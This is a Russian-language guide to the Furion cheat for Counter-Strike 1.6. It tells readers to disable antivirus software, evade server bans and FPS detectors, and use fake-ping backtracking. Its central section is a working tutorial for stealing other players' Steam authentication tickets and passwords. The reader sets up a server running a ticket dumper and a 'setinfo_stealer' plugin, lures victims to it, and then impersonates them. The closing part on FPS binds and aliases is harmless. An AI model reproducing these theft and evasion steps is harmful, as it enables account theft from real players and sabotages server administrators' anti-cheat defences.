🇷🇺 🇺🇸

❌ 1. Отключите все антивирусы на вашем windows
Дело в том, что любой антивирус, увидев, как что то (чит) внедряется куда то (игра) - начинает удалять чит и блокировать его внедрение в игру

⚙️ 2. Смените тип рендеринга с программного обеспечения (software) на OpenGL
Чтобы сменить тип рендеринга, вам нужно перейти в настройки CS, выбрать раздел "Видео" и найти опцию "Рендер". В этом разделе вы сможете изменить тип рендеринга с программного обеспечения (software) на OpenGL



🔍 3. Установка нормальной сборки кс
Бывают разные сборки: защитные (с протектором), кривые или неисправные (например, если автор сборки - какой нибудь neverfix), античитерские (GSClient и подобные)
Все эти виды кс - могут реально мешать внедрению чита.
Так что снизу - я оставил для вас пару обычных сборок, на которых нормально работает чит:

1. Non steam
2. Non steam
3. Steam (лучший вариант)

🔵✔️ 4. Включить бета тестирование для кс 1.6
Этот метод подходит тем, у кого есть лицензированная CS 1.6 (купленная в Steam)
Вы должны установить бета-тестирование в свойствах CS 1.6, чтобы чит нормально работал, так как на новой версии читы не работают.



🔍 5. Установка библиотек на вашем windows (visual c+, net_framework)
У вас должно быть в вкладке "Панель управления\Программы\Программы и компоненты" так же само, как и на скриншоте:



🗑️ *6. Удаление папки чита
Как вы могли заметить, этот пункт со звездочкой означает, что этот пункт может быть необязательным (вы можете попробовать выполнить этот пункт, если вышеуказанные пункты не помогли в решении вашей проблемы)

Необходимо перейти в директорию "AppData\Roaming" (нажмите win+r на клавиатуре и напишите "AppData" - затем перейдите в папку Roaming) и удалите папку "Furion Cheat CS 1.6"

📌 Начнём с предисловия: нет бана, который нельзя обойти.

Тип бана, сложность, и обход:

1. Бан по Steam ID + IP (fresh_ban) (легко)


Steam ID - это идентификатор игрока, по которому обычно сохраняются данные (уровень, рейтинг, привилегии и т.д)

Для изменения Steam ID включите функцию Steam ID spoofer в любом чите или протекторе, например, в протекторе Xguard её можно включить с помощью команды xg_emu_set random или xg_emu_set "ID" (для сохранения данных)



Для изменения IP адреса включите VPN (если у вас статический IP) или перезагрузите роутер, отключив его от питания на некоторое время (если у вас динамический IP)
Какой у вас тип IP можно узнать по ссылке - Узнать тип IP

После изменения Steam ID и IP - бана не будет.

2. Бан по Steam ID + IP + метки в config.cfg (dopban) (легко)


Dopban - это плагин (платный), который перехватывает fresh_ban и записывает вам в config.cfg метку (рандом символы) в квары/ключи/бинды перед баном с помощью функции client_cmd (отправляет вам команду в консоль через пакет svc_stufftext) и при повторном присоединении к серверу проверяет ваш config.cfg на наличие меток.
Если метка есть, вы не сможете зайти, даже если сменили Steam ID и IP.

Чтобы dopban не смог занести в config.cfg метку, вы должны включить функцию блокировки пакетов svc_stufftext, обычно эта функция по умолчанию включена в протекторах.

Установите протектор или включите эту функцию в фурионе, перейдите во вкладку Settings -> Protector -> Defense cfg CS (если у вас версия 1.795 или выше) или Misc -> Protector -> Defense cfg CS (если у вас версия ниже 1.795)

После того как вы включите функцию блокировки пакетов svc_stufftext - dopban станет беспомощным мусором, вам останется только сменить Steam ID и IP (смотрите первый пункт)

Также хочу добавить, что с помощью функции client_cmd, которую использует плагин dopban, можно сломать config.cfg или засорить диск скриншотами, поэтому обязательно включайте функцию блокировки пакетов svc_stufftext :)

3. Бан по куки (dopban) (легко)


Что такое DopBan и что он умеет делать с CS - мы частично обсудили в предыдущем пункте, но это не все возможности этого плагина.

В нем есть функция для бана по куки, но ее часто скуфы (создатели сервера) не включают (не умеют)

Куки – это небольшие текстовые файлы (пароли, настройки), которые сохраняются на компьютере или устройстве пользователя при посещении веб-сайта/сервера.

Теперь вы знаете, что такое куки и что они могут быть отправлены вам в браузеры при заходе на сервер, а именно через MOTD окно.

Чтобы DopBan не смог пихнуть вам куки в браузер - включите MOTD блок функцию в чите (если пользуетесь Фурионом - эта функция находится во вкладке Misc-Misc-Motd block)

Если же вы сменили IP и Steam ID (первый пункт), почистили конфиг от меток или у вас была включена функция блока svc_stufftext пакета (протектор) (второй пункт), сменили ник (в конце статьи можете прочитать зачем это делать) и бан все равно остался - значит у вас куки бан.

Чтобы обойти куки бан - скачайте программу BleachBit (скачать)
Запускайте ее и убирайте все галочки с чекбоксов, кроме Cookies на всех вкладках браузеров.

Можете посмотреть на скриншоте как выставлять галочки, после выставления галочек - нажимайте кнопку Очистка, имейте ввиду что вы удалите все пароли и настройки сайтов.
И не забудьте удалить папку htmlcache если у вас стим версия CS



На этом пункт закончен.

4. Бан по подсети (средне)


Подсеть - часть сети.
Пример: 77.73.69.0/24 - подсеть с IP адресами с 77.73.69.1 по 77.73.69.254.

Если забанят подсеть 77.73.69.0 (где 0 - уже забаненая часть), вы не сможете играть с IP адресами, у которых подсеть это "77.73.69".
То есть вы не сможете играть с IP адресами 77.73.69.15, 77.73.69.37, 77.73.69.125 и так далее, так как у них у всех одинаковая подсеть.

Как узнать, что забанили подсеть? - при подключении к серверу у вас не будет загрузки, как будто у вас нет интернета.
Как обойти подсеть бан? - Переподключайтесь к VPN, пока он не выдаст вам новую подсеть, или смените регион/страну.

Не забудьте выполнить первый и второй пункт (если dopban установлен на сервере)

💬 Дополнительная информация


Есть еще пара типов бана (двое остались) и их тяжело уже обойти.
Я бы сказал, что это за типы, но не могу, так как создатели серверов - побегут их ставить себе на серверы, вам этого не нужно, думаю)

Кстати, если вдруг вы уверены, что на 100% обошли бан, но почему-то бан остаётся и вы не можете играть - просто смените ник (это не рофл)), такое иногда бывает, редко правда, но бывает.

🤔 Что такое FPS и почему он дает преимущество больше в CS 1.6, чем в CSS/CS:GO/CS 2


FPS (кадры в секунду) в CS 1.6 дает преимущество в наборе скорости благодаря уникальной механике движка GoldSrc.

В CS 1.6/CSS/CS:GO/CS 2 вы можете получать скорость от стрейфов (синхронное движение клавиатуры и мыши в одном направлении), но CSS/CS:GO/CS 2 имеют движок Source Engine, который не позволяет получать дополнительную скорость за счет количества FPS.

То есть в CS 1.6 FPS + стрейфы = очень много скорости, но только в случае, если на сервере установлен квар sv_airaccelerate (коэффициент ускорения в воздухе) не менее 50, желательно 100 или выше.

При создании сервера sv_airaccelerate по умолчанию равен 10, что не позволяет получить скорость за счет стрейфов, даже если у вас будет 999 фпс.

Значение sv_airaccelerate равно 100 или выше чаще всего на режимах деатран и хнс, но на любом паблике или любом другом режиме sv_airaccelerate также может быть выше дефолтных 10, все зависит от создателя сервера и того, изменил ли он значение этого квара или нет.

Что такое FPS и sv_airaccelerate мы узнали, и то, что значение 100 или выше встречается чаще всего на хнс и деатран серверах.

На деатран серверах обычно не устанавливают ограничение по фпс, и играть можно с любым количеством фпс, в то время как на серверах хнс, фпс обычно ограничивается значением 100.

На хнс сервера устанавливают детекторы фпс, и если ваш фпс больше 100, вас кикнет.

🤔 Как обойти FPS детекторы


Обход FPS на хнс серверах даст невероятное преимущество, ниже описан способ, как можно обойти один из детекторов:

1. Если на сервере установлен детектор по пакетам svc_sendcvarvalue/svc_sendcvarvalue2 - эти пакеты можно заблокировать, тем самым, когда детектор будет проверять значения кваров fps_max/fps_override/developer через пакет, он не получит этот пакет и пропустит вас под видом валидного игрока.

Чтобы включить блокировку пакетов svc_sendcvarvalue/svc_sendcvarvalue2 - вам нужно включить функцию Sandbox cvars, в фурионе она находится во вкладке Settings -> Protector -> Defense cfg CS (если ваша версия 1.795 или выше) или Misc -> Protector -> Defense cfg CS (если ваша версия ниже 1.795)



2. Если на сервере установлен старый и неактуальный детектор, который кикает с помощью команды disconnect в консоль вашу, вы можете заблокировать отправку этого пакета через протектор.

Для этого перейдите во вкладку Settings -> Protector -> Defense cfg CS (если ваша версия 1.795 или выше) или Misc -> Protector -> Defense cfg CS (если ваша версия ниже 1.795)

Если происходит кик через пакет svc_disconnect, вы также можете заблокировать его, перейдя во вкладку Console и включив чекбокс Block svc_disconnect message.
На этом обход закончен, если детектор работает по-другим способам, обойти его не получится :(

Заходим во вкладку Misc и включаем фейк пинг, выкручиваем значение на 400-500.
После этого, вы будете возвращаться будто на 5 секунд назад и наносить удар по модели игрока, которая была там, где ее сейчас уже нет (скачки во времени типа)

Кроме того, вы можете включить видимость этой модели, которая движется сзади противника.
Для этого перейдите во вкладку Visuals -> Chams and glow и включите функцию Бэктрек позиция

🎬 Так же вы можете посмотреть видео туториал снизу.

📢 Введение


Украв чужой Steam ID, вы сможете получить чужой уровень, аммо, бонусы, ранг, привилегии (не всегда)
Рекомендую посмотреть видео в конце статьи, если вам легче смотреть, чем читать.

😕 Нюансы:
1. Украденный Steam ID будет работать только две недели и можно украсть только у игроков Steam, у игроков NonSteam - не получится
2. Вы не сможете играть на сервере, если до вас уже игрок с таким же Steam ID (автор или другой вор) играет в данный момент - из-за Drpoto/Reunion
3. Вы должны видеть аватарку игрока, у которого собираетесь украсть или уже украли Steam ID.
Если не увидите - вас кикнет без причины через 5-15 секунд, если увидели - через 2-3 минуты или не кикнет вообще (как повезет)
4. Если привилегия привязана по IP - взлом не удастся

🪶 Как украдывали Steam ID раньше


Раньше можно было украсть Steam ID, просто перекинув протектор CtShield в корневую папку CS 1.6, прописав команду ct_emu_set "Steam ID" в консоль, и перезайти на сервер.
Этот метод больше не работает из-за и неактуальности на текущий момент времени, слишком стар.

⚙️ Подготовка сервера


Для начала нужен хостинг, чтобы создать сервер.
Можно выбрать как платные (MyArena, CssServ и другие), так и бесплатные, например как Castle Host.

После создания сервера:


Установите значение sag031 (например) для квара rcon_password, и значение 0 для sv_lan в файле cstrike/server.cfg, а также название сервера смените через квар hostname.

После установки значений кваров нужно установить необходимые модули на сервер, по ссылке https://disk.yandex.ru/d/G0DgvXet6xE4ag вы можете их скачать, установка очень проста - перекиньте содержимое архива в корень сервера с заменой.



Также вам нужно перейти по ссылке https://github.com/HppForever/setinfo_stealer.sma и установить этот плагин, установка тоже очень проста.



💧 Что же вы скачали: (можете не читать эту информацию, так как ее необязательно знать)
Модуль Metamod (нужен для работы плагинов/модулей)
Модуль Reunion (нужен для допуска нон-стим игроков к серверу. Можете в принципе не устанавливать этот модуль, ведь нам нужны только игроки Steam. Забейте х*й или зайдите в файл plugins.ini, который лежит по пути cstrike/addons/metamod/ и удалите строку linux addons/reunion/reunion_mm_i386.so)
Модуль TicketDumper (получение нужного файла "дамп данных Steam аккаунта", который мы сможем позже через чит-функцию присвоить себе, тем самым получив чужой Steam ID)
Плагин Setinfo stealer (украдает пароли игрока, потребуется AMXX, найдете в интернете как установить, все довольно просто)

Не забудьте проверить, корректно ли вы установили модули на сервер с помощью команды meta list, и проверьте, корректно ли вы установили плагины с помощью команды amxx plugins.

Вы должны увидеть свои модули/плагины в списке.



Если их нет или есть подстрока "Error/Bad/Not loaded/Pause" или другие - значит, вы установили что-то неправильно.

💭 Как позвать игрока на сервер


Измените значение квара hostname на связанное имя с режимом игры и карту, чтобы привлечь внимание жертвы и под разными предлогами зазывайте ее на сервер.
После захода жертвы на сервер - мы автоматически получаем ее данные (тикет и пароль)

🏴‍☠ Получаем данные игрока


После того, как вы все установили и жертва зашла на сервер, заходим в папку cstrike/ticketsz/.
Если у вас самый свежий тикет, например, 2023-12-25_14-16-24_76561199465566779.dat, то 76561199465566779 - это Steam ID 64, который нам и нужен.

Вставив его на специальный сайт поиска аккаунта по Steam ID/Steam ID 2/Steam ID 64/URL, мы сможем узнать, кем именно является обладатель этого тикета по аватарке в Steam.

Получив тикет, заходим в папку cstrike/addons/amxmodx/configs/ и открываем файл setinfo_stealer.log.
Ищем там нашу жертву и получаем её пароли (_pw, _password, _pass)



Получив тикет и пароль, больше нам никакие данные не нужны.

🏁 Присваиваем чужие данные себе (конец)


Кидаем тикет в удобную папку, затем в консоли вводим команду для установки пароля жертвы (setinfo _pw "password" или setinfo _password "password", или setinfo _pass "password")

Инжектим Furion или ExtraMirror.

Если хотите использовать ExtraMirror, сами найдете нормальную версию без краша, пишите в консоль CS 1.6 команду set_ticket "Путь до тикета жертвы" (без кириллицы).

Если хотим использовать Furion, переходим во вкладку Misc -> Misc и там найдем выбор Steam ID spoofer, выбираем Тикет и снизу в Путь до тикета - вводим путь до тикета.



Все, мы присвоили чужой Steam ID себе через чит-функцию и пароли через консольную команду setinfo "type password" "password".

🎬 Видео-туториал:

🧾 Главная теоретическая часть (что такое квары, бинды + синтаксис, алиасы)


В CS 1.6 существуют переменные (также называемые "кварами") и команды, которые выполняются, но не хранятся где-либо.

Бинды – это связывание определенного действия с кнопкой (можно назначить только нажатие, зажимать кнопку нельзя)
Бинды позволяют выполнять команды или изменять значения переменных.
Синтаксис: bind "key" "action" (где "key" – ваша кнопка, "action" – ваше действие)

Алиасы работают аналогично биндам, но предоставляют больше возможностей (примеры будут приведены ниже)
На большинстве серверов вас может забанить античит за "читерские" алиасы (предупреждение, что использование "читерских" алиасов неэффективно и легко обнаруживается по сравнению с функцией чита)

🧾 Теоретическая часть (пример бинда, (квары, изменение которых может повысить фпс))


Например, команда bind "SPACE" "+jump" написанная в консоль - свяжет команду "+jump" с пробелом.
Каждый раз, когда вы нажимаете пробел, на сервер отправляется пакет с командой "+jump", что приводит к прыжку вашего персонажа.

Теперь перейдем к легким алиасам, тяжелые варианты мы не будем рассматривать, так как это не очень актуально на 2024 год.

К примеру, вы любите играть на серверах с режимом "Deathrun", и наверняка знаете пользу большего количества фпс (если не знаете - читайте статью "🤔 Как обойти FPS детекторы")

CS 1.6 плохо оптимизирована, она просто не позволяют вашему компьютеру работать на нормальном уровне, что приводит к низкому фпс даже на нормальном компьютере, ведь чем сильнее загружен компьютер, тем больше он выдаст фпс.




Поэтому приходится использовать различные способы увеличения фпс в игре, это может быть как консольные способы (различные конфиги, алиасы), так и читерские (фпс скипер)

Лучший вариант для увеличения фпс, конечно же, читерский, но если вы не хотите использовать читы, вы можете немного поднять ваш фпс без помощи софта, а с помощью манипуляций с консолью

В CS 1.6 есть некоторые квары для повышения фпс, они не сравнятся с фпс скиперами, которые предоставляют читы, но вы решили, что использовать читы не будете.
Квары, изменение которых может повысить фпс:

hud_draw - квар отвечающий за показ худа (хп, броня, деньги, таймер, серверная часть, и т.д) на экране (1 - отображать, 0 - не отображать)
cl_weather - квар отвечающий за показ эффектов погоды (1 - включить, 0 - выключить)
cl_himodels - квар отвечающий за включение моделей игроков высокого качества (1 - включить, 0 выключить)
r_detailtextures - квар отвечающий за включение HD текстур карты (если автор карты их добавил) (1 - включить, 0 - выключить)
r_drawviewmodel - квар отвечающий за показ оружия (1 - включить, 0 выключить)
r_drawentities - квар отвечающий за показ энтинити карты (1 - включить, 0 выключить)
gl_fog - квар отвечающий за показ тумана на горизонте (1 - включить, 0 - выключить)

gl_picmip - квар отвечающий за качество текстур, чем выше значение тем больше будет пикселей на текстурах (добавлять в config.cfg, в самой игре меняться динамически не будет) (0 - значение по умолчанию, 3 - максимальное значение)

gl_texturemode - квар отвечающий за качество текстур (почти как gl_picmip, но можно динамически менять) (GL_NEAREST_MIPMAP_NEAREST - плохая графика, GL_LINEAR_MIPMAP_LINEAR - значение по умолчанию)

⭕ Практическая часть (пишем свои бинды и алиасы)


Представим ситуацию, что вам нужно повысить фпс путем изменения значений кваров, но вы не хотите постоянно играть с плохой графикой и без худа - есть решение, которое заключается в создании двух биндов, их можно использовать когда проходишь deathrun карту или находишься в дуеле или т.д.

Первый бинд будет устанавливать значения кваров на низкие, тем самым увеличивая ваш фпс.
Второй бинд будет устанавливать значения кваров по умолчанию, возвращая ваши исходные значения.

Бинд изменения значений кваров для поднятия фпс:
bind "c" "hud_draw 0;cl_weather 0;cl_himodels 0;r_detailtextures 0;r_drawentities 0;gl_texturemode GL_NEAREST_MIPMAP_NEAREST"

Бинд изменения значений кваров для возвращения к прежнему (нормальному) состоянию:
bind "v" "hud_draw 1;cl_weather 1;cl_himodels 1;r_detailtextures 1;r_drawentities 1;gl_texturemode GL_LINEAR_MIPMAP_LINEAR"

Как видим, синтаксис прост для понимания, мы пишем ключевое слово "bind", в кавычках указываем нашу кнопку, а в следующих кавычках строку, в которой будет выполняться действие, с помощью знака ";" мы можем выполнить несколько действий, а не одно.

Так же мы можем уведомить себя, нажали ли мы бинд или нет, с помощью команды "spk".
В данном случае бинды будут выглядеть следующим образом:
bind "c" "hud_draw 0;cl_weather 0;cl_himodels 0;r_detailtextures 0;r_drawentities 0;gl_texturemode GL_NEAREST_MIPMAP_NEAREST;spk activated"
bind "v" "hud_draw 1;cl_weather 1;cl_himodels 1;r_detailtextures 1;r_drawentities 1;gl_texturemode GL_LINEAR_MIPMAP_LINEAR;spk deactivated"
У нас теперь есть возможность динамически включать и выключать фпс буст в игре через наши два бинда, но намного удобнее было бы использовать только одну кнопку, чем две.

Мы можем сделать это с помощью алиаса, вот пример, который заменит наши два бинда на одну кнопку, переключение фпс буста будет осуществляться через нажатие (hold)
alias Cvar_FpsBoost_Hold "BoostOn"
alias BoostOn "hud_draw 0; cl_weather 0; cl_himodels 0; r_detailtextures 0; r_drawentities 0; gl_texturemode GL_NEAREST_MIPMAP_NEAREST; spk activated; alias Cvar_FpsBoost_Hold BoostOff"
alias BoostOff "hud_draw 1; cl_weather 1; cl_himodels 1; r_detailtextures 1; r_drawentities 1; gl_texturemode GL_LINEAR_MIPMAP_LINEAR; spk deactivated; alias Cvar_FpsBoost_Hold BoostOn"
bind "key" "Cvar_FpsBoost_Hold"

Вот такой же алиас, только работает через удержание кнопки (toggle)
alias +Cvar_FpsBoost_Toggle "hud_draw 0; cl_weather 0; cl_himodels 0; r_detailtextures 0; r_drawentities 0; gl_texturemode GL_NEAREST_MIPMAP_NEAREST; spk activated"
alias -Cvar_FpsBoost_Toggle "hud_draw 1; cl_weather 1; cl_himodels 1; r_detailtextures 1; r_drawentities 1; gl_texturemode GL_LINEAR_MIPMAP_LINEAR; spk deactivated"
bind "key" "+Cvar_FpsBoost_Toggle"

Как установить эти алиасы? - все очень просто.
Вам нужно перейти в папку игры, а именно в cstrike, и создать aliases.cfg, в него вставляете нужные вам алиасы и сохраняете.
Затем зайти в config.cfg и в самом низу написать exec aliases.cfg и так же сохранить.

После этого вы можете присвоить алиас кнопке через бинд.

🍀 Пару полезных биндов/алиасов


bind "MWHEELUP" "+jump;wait;-jump" - улучшенный бхоп (баниться на большинстве хнс серверов)
bind "MWHEELDOWN" "+duck;wait;-duck" - улучшенный ддран/сгс (баниться на большинстве хнс серверов)
bind "e" "+use;wait;-use" - становиться проще использовать кнопки карты (полезно для спидранеров)
bind "key" "deagle;secammo" - покупка дигла и патронов
bind "key" "hegren;flash;sgren;flash" - покупка всех гранат

Алиас на смену положение рук (hold)
alias "Hand" "Right"
alias "Right" "cl_righthand 1; alias Hand Left"
alias "Left" "cl_righthand 0; alias Hand Right"
bind "key" "Hand"

Алиас включение микрофона, можно просто нажать один раз кнопку (hold) и микрофон будет вечно активен
alias "Voice" "On"
alias "On" "+voicerecord; alias Voice Off"
alias "Off" "-voicerecord; alias Voice On"
bind "key" "Voice"

Другие бинды/алиасы вы можете спокойно найти в интернете, статья окончена.